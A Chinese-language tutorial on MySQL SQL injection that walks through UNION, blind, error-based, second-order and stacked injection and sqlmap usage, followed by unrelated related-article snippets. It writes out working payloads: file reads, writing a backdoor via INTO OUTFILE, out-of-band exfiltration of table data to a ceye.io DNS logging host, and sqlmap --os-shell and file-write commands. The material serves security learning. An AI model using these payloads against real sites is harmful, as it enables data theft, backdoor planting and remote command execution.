SQL注入原理及思路(mysql)
数据库知识
mysql数据库
show database; #列出所有数据库
show tables; #列出所有表名
show columns from 表名; #列出表的列
select * from 表名 #查询数据库中某表的信息
select * from 表名 where 列=xx #查询某表中符合列=xx的信息
select * from 表名 order by 数字 #用于将结果集按照某列进行排序(asc 升序desc 降序),在sql注入中通常用来判断前面查询结果集的列数,用于联合union查询
select * from 表名1 union select * from 表名2 #union操作符用于合并两个或多个select语句的结果。但是必须保证前后的select语句必须保证拥有相同数量的列,
insert into 表名(`列1`,`列2`,`列3`) values ('值1','值2','值3');#给表中添加数据
delete from 表名 where 列=xx;#删除表中数据
update 表名 set 列=xx where 条件;#修改数据
对于mysql5.0以上版本,有数据库information_schema存放数据库所有信息
schemata表(存放所有的数据库):schema_name列(所有的数据库名)
tables表(存放所有的表信息):table_schema列(数据库名) table_name列(表名)
columns表(存放所有的列信息):table_schema列(数据库名) table_name列(表名)column_name列(列名)
select * from 表名 limit 3/limit 0,1; #只有一个参数值时将表中前三条数据列出来;两个参数是从0行开始取1条数据
SQL注入原理
SQL注入有两个前提条件:源码中有执行的sql语句、参数可控且未对参数进行过滤;满足以上两个条件我们就可以任意构造sql语句且执行,从而获取我们想要的信息。
SQL注入思路
无任何过滤机制
无符号干扰
针对url中?id=1的思路
源码:$id=$_GET['id'] ?? '1';$sql="select * from news where id=$id";//最原始、没有任何过滤的情况
?id=1 order by 数字 //数字从1开始试探,直到页面和之前不一样;用于判断select查询结果的列数
?id=1 union select 1,2,3 //此处的数字写到上面猜解出的列数;此时查看页面是否返回数字(不返回的话换出id=-1让其报错)
当页面报出对应数字之后,我们将其数字改成想要查询内容的函数;数据库版本version()-判断是否符合information_schema查询(mysql5.0以上版本有)、当前用户user()-是否符合root型攻击、当前操作系统@@version_compile_os()-看是否支持大小写或文件路径选择、查询当前数据库database()-便于后面猜解该数据库下的表
?id=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名' //查询该数据库下的所有表名
?id=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="数据库名" and table_name="表名" //查询数据库名下表名中的所有列名
?id=1 union select 1,2,"列名" from "表名" limit 0,1 //查询想要的信息如果是root用户具有管理员权限,即可进行跨库查询?id=1 union select 1,2 group_concat(schema_name) from information_schema.schemata //查询所有数据库名
知道数据库名之后继续按照上面思路一一猜解信息如果是root用户且secure-file-priv未设置,可进行文件读写?id=1 union select 1,load_file('d:\\1.txt') //读取D盘下文件1.txt内容
?i=1 union select 1,'后门代码' into outfile 'd:\\2.txt' //如果我们可以把后门代码写入网站目录下则可以直接连接,前提是获取到网络目录(报错显示获取路径、phpinfo页面泄露、利用中间件默认配置文件获取)如果是对引号有过滤的话,我们可以对引号的内容进行十六进制编码绕过。
有符号干扰
上面这种在源码中的id=$id是不带引号的,如果带引号的话我们在每一步之前都要先闭合引号再构造sql语句。
针对url中?id='1'的思路
源码:$id=$_GET['id'] ?? '1';$sql="select * from news where id='$id'";//思路同上,就是在id的值后面加一个引号进行闭合,在最后面加一个注释符# --+
$id=$_GET['id'] ?? '1';$sql="select * from news where id='%$id%'";//在id的值后面加上%'闭合,最后加上注释符
$id=$_GET['id'] ?? '1';$sql="select * from news where id=('$id')";//在id的值后面加')闭合,最后加注释符
$id=$_GET['id'] ?? '1';$sql="select * from news where (id='$id')";//在id的值后面加')闭合,最后加注释符总结:
SQL语句由于在黑盒中是无法预知写法的,SQL注入能发成功是需要拼接原SQL语句,大部分黑盒能做的就是分析后各种尝试去判断,所以有可能有注入但可能出现无法注入成功的情况。究其原因大部分都是原SQL语句的未知性导致的拼接失败!
其它注入点(post、数据包头部信息)
上面的都是以get提交的注入点,通常只要在源码中存在与数据库交互的地方都有可能存在注入点(post提交的数据、http头等)
post表单提交数据:可以使用火狐post提交数据测试,测试思路同get方式,只是这个需要以post提交数据
数据包头部
user-agent:使得服务器能够识别客户使用的操作系统,浏览器版本等等
X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP]);有些网站如果使用的是xff获取我们ip,我们可以通过修改数据包中的xff字段进行绕过ip检测
在http头中注入通常都是抓包,然后在数据包中修改头部信息进行尝试注入 SQL盲注
盲注就是在注入过程中,获取的数据不能回显至前端页面。我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
基于布尔的盲注
条件:该盲注必须有回显,用于判断构造的sql语句是否正确。(通常情况下只有select查询才会有回显,其余的增删改并没有回显)
在注入点构造sql语句:
and length(database())=7 #用于判断数据库名称位数,如果猜对页面正常显示,否则页面错误
and left(database(),1)='d'; #用于判断数据库名第一位是否为d
and left(database(),2)='de'; #用于判断数据库名前两位是否为de
基于时间的盲注-延时判断
不需要任何条件
构造sql语句
and if(length(database())=7,sleep(10),sleep(0)) #根据是否执行sleep函数判断数据库名字的长度
and if(left(database(),1)='d',sleep(10),sleep(0)) #根据sleep函数判断数据库名第一个字符是否为d
or if(ord(left(database(),1))=107,sleep(2),0) #107是字母k对应的ASCII码,当存在过滤引号时候可以使用ASCII替换
这个时间我们可以通过使用工具bp来判断,在bp的repeater中右下角会显示返回数据包所用时间。 基于报错的盲注
条件:有数据库报错处理判断标准
源码:mysqli_query($con,$sql) or die(mysqli_error($con));//关键就是在源码中有输出错误信息
在注入点构造sql语句
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) //会在页面的报错信息中显示版本
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
mysql二次注入
原理:
- 插入恶意数据,第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义(addslashes转义函数,转义是关键否则不能造成二次注入),在写入数据库的时候还保留了原来的数据,但是数据本身包含恶意内容
- 引用恶意数据,在将数据存入到数据库中之后,开发者就认为数据是可信的。在下一次要进行查询的时候,直接从数据库中取出了恶意数据,没有进一步的处理和检验,这样就造成了二次注入。
场景:
在我们注册且登陆之后,有修改密码功能,该功能只需要我们输入旧密码和新密码即可;在注册时候可以插入恶意数据,下面语句正常插入的前提是有转义
用户名:admin ' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#
在修改密码的时候就会执行:
select * from users where username='$username' and password='$password //此时就会上面的用户名待人该sql语句执行
堆叠注入
原理:堆叠注入触发的条件很苛刻,就是在存在注入点的地方通过分号结束符同时执行多条sql语句,例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行
条件:目标存在sql注入点、目标未对分号进行过滤、目标数据库支持查询信息时执行多条sql语句。(eg:mysql、mssql、postgresql等等)
2019强网杯
堆叠注入但是对select过滤,无法直接执行select语句
SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql; //先对要执行的sql查询语句进行十六进制编码,然后赋值给@a 带外查询
条件:root高权限且支持load_file();主要解决的是没有回显问题
平台:http://ceye.io
http://www.dnslog.cn
//查询security数据库emails表下第一个列名
id=1 and load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))//查询字段值 数据库名为security 表名emails 列名id
id=1 and load_file(concat("\\\\",(select id from security.emails limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))其中xxx.txt是随意写的,而.dbuh8a.ceye.io是带外平台中的dns 自动化sql注入工具——sqlmap(基于数据库mysql)
sqlmap -u "http://xxxx?artist=1" //判断是否有注入点
sqlmap -u "http://xxxx?artist=1" --current-db //查看当前数据库 结果acuart
sqlmap -u "http://xxxx?artist=1" --current-user //查看当前用户
sqlmap -u "http://xxxx?artist=1" --tables -D acuart //查看当前数据库下所有表
sqlmap -u "http://xxxx?artist=1" --columns -T users -D acuart //查看users表下所有列
sqlmap -u "http://xxxx?artist=1" --dump -C "name,pass" -T users -D acuart//查询列name pass中的数据
sqlmap -u "http://xxxx?artist=1" --dump-all -C "name,pass" -T users -D acuart//查询所有数据
sqlmap -u "http://xxxx?artist=1" --is-dba//判断是否为高权限用户 current user is DBA: False这种情况就是低权限
sqlmap -r xx.txt(文件为请求数据包和post提交数据,在注入点后面加*)//非get方式注入点的方法-tamper=xxx.py //对于有waf或者编码等问题我们可以使用tamper脚本。-v 数字0:只显示Python的回溯,错误和关键消息。 1:显示信息和警告消息。 2:显示调试消息。 3:有效载荷注入。 4:显示HTTP请求。 5:显示HTTP响应头。 6:显示HTTP响应页面的内容 --user-agent "" #自定义user-agent 默认是sqlmap
--random-agent #随机user-agent
--time-sec=(2-5) #延迟响应,默认为5
--level=(1-5) #要执行的测试水平等级,默认为1
--risk=(0-3) #测试执行的风险等级,默认为1
--proxy "http:/127.0.0.1:8888" #代理注入,便于抓包查看注入过程的数据包,sqlmap和bp联动如果当前是高权限用户,可以使用以下命令:
sqlmap -u "http://xxxx?artist=1" --sql-shell //可以执行sql命令
--file-read "d:\\xx.txt" //读取文件xx.txt
--file-write "d:\\xx.txt" --file-dest "/root/xx" //将本地d盘下xxx文件写入服务器root目录下xx文件
--os-cmd=calc //执行cmd命令 弹出计算器
--os-shell //执行shell命令
--dbs //查看所有数据库
"""
tamper脚本书写模板
"""
from lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef dependencies():passdef tamper(payload, **kwargs):if payload:
payload = payload.replace('SELECT','sElEct')
payload = payload.replace('OR','Or')
payload = payload.replace('AND','And')
payload = payload.replace('SLEEP','SleeP')
payload = payload.replace('ELT','Elt')return payload
相关文章:
SQL注入原理及思路(mysql)
数据库知识 mysql数据库 show database; #列出所有数据库 show tables; #列出所有表名 show columns from 表名; #列出表的列 select * from 表名 #查询数据库中某表的信息 select * from 表名 where 列xx #查询某表中符合列xx的信息 select * from 表名 order by 数字 #用于将…...
vue核心面试题汇总【查缺补漏】
给大家推荐一个实用面试题库 1、前端面试题库 (面试必备) 推荐:★★★★★ 地址:web前端面试题库 很喜欢‘万变不离其宗’这句话,希望在不断的思考和总结中找到Vue中的宗,来解答面试官抛出的…...
使用WebStorm创建和配置TypeScript项目
创建 这里我用的是WebStorm 2019.2.2版本 首先,创建一个空项目 File -> New -> Project->Empty Project生成配置文件 自动配置: 打开终端输入tsc --init,即可自动生成tsconfig.json文件 手动配置: 在项目根目录下新建一…...
vue源码分析(四)——vue 挂载($mount)的详细过程
文章目录 前言一、使用RuntimeCompiler解析$mount的原因二、$mount 解析的详细过程1.解析挂载的#app执行了vm.$mount2. 通过$mount方法执行以下文件的mount方法3. 执行util工具文件夹中的query方法4. 执行query方法后返回$mount方法判断el是否是body5. 判断!options.render&…...
真机环境配置教程
1.下载安装包 https://developers.google.com/android/images 2.刷机教程 Xposed精品连载 | 一篇文章彻底搞定安卓刷机与Root 3.配置root...
新电脑第一次重启后蓝屏
新电脑第一次重启后蓝屏 悲惨事故,远程参加插电第一次开机,按“FNShiftF10”启动cmd窗口输入oobe\bypassnro 回车重启跳过网络连接,设置一个用户名密码设置为空,不设密码确定,进入系统软件操作磁盘操作(磁盘…...
k8s statefulSet 学习笔记
文章目录 缩写: stsweb-sts.yaml创建sts扩缩容金丝雀发布OnDelete 删除时更新 缩写: sts 通过 kubectl api-resources 可以查到: NAMESHORTNAMESAPIVERSIONNAMESPACEDKINDstatefulsetsstsapps/v1trueStatefulSet web-sts.yaml apiVersion: v1 kind: Service met…...
gitlab 通过变量连接自建K8S
services:- docker:19.03.7-dind- golang:1.17.8-alpine3.15- docker:stable stages:- package- build and push docker image- deploy variables:KUBECONFIG: /etc/deploy/config build:tags:- k8simage: golang:1.17.8-alpine3.15stage: package# 只作用在main分支only:- mai…...
LuatOS-SOC接口文档(air780E)--mcu - 封装mcu一些特殊操作
常量 常量 类型 解释 mcu.UART number 外设类型-串口 mcu.I2C number 外设类型-I2C mcu.SPI number 外设类型-SPI mcu.PWM number 外设类型-PWM mcu.GPIO number 外设类型-GPIO mcu.I2S number 外设类型-I2S mcu.LCD number 外设类型-LCD mcu.CAM num…...
第14期 | GPTSecurity周报
GPTSecurity是一个涵盖了前沿学术研究和实践经验分享的社区,集成了生成预训练 Transformer(GPT)、人工智能生成内容(AIGC)以及大型语言模型(LLM)等安全领域应用的知识。在这里,您可以…...
【数据结构】优先级队列
⭐ 作者:小胡_不糊涂 🌱 作者主页:小胡_不糊涂的个人主页 📀 收录专栏:浅谈数据结构 💖 持续更文,关注博主少走弯路,谢谢大家支持 💖 PriorityQueue 1. 什么是优先级队列…...
c语言宏相关高级用法
outline all可变参数宏c语言内置函数1.__typeof__2.__builtin_choose_expr all 记录一些c语言宏相关的高级用法 可变参数宏 c语言内置函数 1.typeof 2.__builtin_choose_expr 语法格式 type __builtin_choose_expr (const_exp, exp1, exp2)解释 这个函数的第一个参数必须…...
新款模块上线实现SIP模块与扩拨电话之间打点与喊话功能 IP矿用电话模块SV-2800VP
新款模块上线实现SIP模块与扩拨电话之间打点与喊话功能 IP矿用电话模块SV-2800VP 一、简介 SV-2800VP系列模块是我司设计研发的一款用于井下的矿用IP音频传输模块,可用此模块打造一套低延迟、高效率、高灵活和多扩展的IP矿用广播对讲系统,亦可对传统煤…...
前端开发---在vue项目中使用openLayers
前端开发之在vue项目中使用openLayers 前言效果图在vue中渲染地图安装ol插件1、调用插件2、 初始话地图3、地图点击事件4、重置坐标5、通过坐标改变视图6、保存坐标点 vue中使用的源码 前言 本篇文章主要讲解openLayers的初步使用,包括渲染地图、获取点坐标、标记点…...
C语言之结构体和共用体详解
目录 结构体 结构体的定义和使用 结构体数组的使用 结构体指针的使用 结构体大小的计算 共用体 共用体的定义和使用 typedef用法详解 enum枚举类型 结构体 结构体的定义和使用 C语言的结构体(Struct)是一种自定义的数据类型,它允许…...
iOS插件
把平时看到或项目用到的一些插件进行整理,文章后面分享一些不错的实例,若你有其它的插件欢迎分享,不断的进行更新; 一:第三方插件 1:基于响应式编程思想的oc 地址:https://github.com/ReactiveCocoa/Rea…...
Maven第四章:配置文件详解
Maven第四章:配置文件详解 前言 本章重点知识:掌握setting.xml配置文件以及pom.xml配置文件 setting.xml配置文件 setting.xml文件用于配置Maven的运行环境,包括本地仓库的位置、镜像仓库的配置、认证信息等。以下是setting.xml文件的详细说明: 文件位置: 全局配置文件:…...
计算机网络基础一
任务背景 由于某些原因,某公司搬迁至新地方,现需要对公司网络环境重新调整规划,申请了一个 B 类 IP 地址 : 172.25.0.0 ,子 网掩码为 255.255.224.0 。需要根据公司部门和电脑数进行子网划分并分配 IP 。公司目前有 6 个部门&am…...
搜维尔科技:Touch触觉式力反馈设备与Touch X力反馈设备对比分析
此2款力反馈为最常用的力反馈设备...
SAP保持系统长时间在线
保持系统长时间在线 保持SAP系统长长时间在线不掉线,通过代码,保持一个页面一直在线,ABAP代码如下: *&---------------------------------------------------------------------* *& Report ZGUI *&----------------------------…...
idea大量爆红问题解决
问题描述 在学习和工作中,idea是程序员不可缺少的一个工具,但是突然在有些时候就会出现大量爆红的问题,发现无法跳转,无论是关机重启或者是替换root都无法解决 就是如上所展示的问题,但是程序依然可以启动。 问题解决…...
Linux云原生安全:零信任架构与机密计算
Linux云原生安全:零信任架构与机密计算 构建坚不可摧的云原生防御体系 引言:云原生安全的范式革命 随着云原生技术的普及,安全边界正在从传统的网络边界向工作负载内部转移。Gartner预测,到2025年,零信任架构将成为超…...
sqlserver 根据指定字符 解析拼接字符串
DECLARE LotNo NVARCHAR(50)A,B,C DECLARE xml XML ( SELECT <x> REPLACE(LotNo, ,, </x><x>) </x> ) DECLARE ErrorCode NVARCHAR(50) -- 提取 XML 中的值 SELECT value x.value(., VARCHAR(MAX))…...
全面解析各类VPN技术:GRE、IPsec、L2TP、SSL与MPLS VPN对比
目录 引言 VPN技术概述 GRE VPN 3.1 GRE封装结构 3.2 GRE的应用场景 GRE over IPsec 4.1 GRE over IPsec封装结构 4.2 为什么使用GRE over IPsec? IPsec VPN 5.1 IPsec传输模式(Transport Mode) 5.2 IPsec隧道模式(Tunne…...
MySQL用户和授权
开放MySQL白名单 可以通过iptables-save命令确认对应客户端ip是否可以访问MySQL服务: test: # iptables-save | grep 3306 -A mp_srv_whitelist -s 172.16.14.102/32 -p tcp -m tcp --dport 3306 -j ACCEPT -A mp_srv_whitelist -s 172.16.4.16/32 -p tcp -m tcp -…...
.Net Framework 4/C# 关键字(非常用,持续更新...)
一、is 关键字 is 关键字用于检查对象是否于给定类型兼容,如果兼容将返回 true,如果不兼容则返回 false,在进行类型转换前,可以先使用 is 关键字判断对象是否与指定类型兼容,如果兼容才进行转换,这样的转换是安全的。 例如有:首先创建一个字符串对象,然后将字符串对象隐…...
零基础在实践中学习网络安全-皮卡丘靶场(第九期-Unsafe Fileupload模块)(yakit方式)
本期内容并不是很难,相信大家会学的很愉快,当然对于有后端基础的朋友来说,本期内容更加容易了解,当然没有基础的也别担心,本期内容会详细解释有关内容 本期用到的软件:yakit(因为经过之前好多期…...
智能AI电话机器人系统的识别能力现状与发展水平
一、引言 随着人工智能技术的飞速发展,AI电话机器人系统已经从简单的自动应答工具演变为具备复杂交互能力的智能助手。这类系统结合了语音识别、自然语言处理、情感计算和机器学习等多项前沿技术,在客户服务、营销推广、信息查询等领域发挥着越来越重要…...
C# 表达式和运算符(求值顺序)
求值顺序 表达式可以由许多嵌套的子表达式构成。子表达式的求值顺序可以使表达式的最终值发生 变化。 例如,已知表达式3*52,依照子表达式的求值顺序,有两种可能的结果,如图9-3所示。 如果乘法先执行,结果是17。如果5…...
Windows电脑能装鸿蒙吗_Windows电脑体验鸿蒙电脑操作系统教程
鸿蒙电脑版操作系统来了,很多小伙伴想体验鸿蒙电脑版操作系统,可惜,鸿蒙系统并不支持你正在使用的传统的电脑来安装。不过可以通过可以使用华为官方提供的虚拟机,来体验大家心心念念的鸿蒙系统啦!注意:虚拟…...
